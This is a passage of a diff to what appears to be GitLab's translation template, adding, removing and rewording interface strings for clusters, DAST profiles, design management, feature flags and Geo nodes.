msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -4069,7 +4171,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -4183,6 +4285,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -4252,13 +4357,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4453,6 +4561,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4627,6 +4738,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4660,10 +4774,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4684,7 +4798,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4870,9 +4984,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -5098,7 +5209,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -5266,9 +5377,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5374,6 +5491,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5407,19 +5527,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5467,13 +5593,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5491,6 +5620,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5530,15 +5662,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5563,6 +5692,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5746,9 +5878,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5944,7 +6073,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -6163,12 +6292,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -6208,15 +6340,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -6241,6 +6385,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -6256,9 +6403,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6289,7 +6433,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6466,6 +6610,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6670,7 +6820,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -7135,9 +7285,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -7222,6 +7369,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -7234,6 +7384,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -7258,15 +7411,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7297,6 +7456,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7312,6 +7474,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Create"
msgstr ""
@@ -7402,6 +7573,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7438,6 +7612,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7462,6 +7639,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7633,6 +7813,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7729,6 +7912,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7897,6 +8089,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7927,25 +8122,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7954,7 +8179,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7966,6 +8200,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7975,12 +8212,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -8053,7 +8347,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -8131,10 +8425,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -8191,6 +8485,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8212,15 +8509,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -8230,6 +8536,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -8260,6 +8569,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -8272,6 +8590,9 @@ msgstr[5] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -8284,6 +8605,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8302,6 +8626,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8344,8 +8671,8 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8398,7 +8725,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8632,13 +8959,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8671,15 +9007,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8761,7 +9088,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8770,6 +9100,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8782,7 +9115,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8887,9 +9223,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8908,7 +9241,7 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -9160,9 +9493,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9451,9 +9781,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9622,6 +9949,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9646,7 +9976,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9925,6 +10255,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -10252,7 +10585,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -10273,6 +10606,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -10282,9 +10618,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -10297,9 +10630,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10309,9 +10639,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10324,9 +10651,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10762,12 +11086,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10852,6 +11182,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10861,9 +11194,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10903,6 +11233,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -11128,6 +11461,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -11299,30 +11635,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11338,12 +11659,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11371,12 +11686,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11398,15 +11707,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11434,27 +11734,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
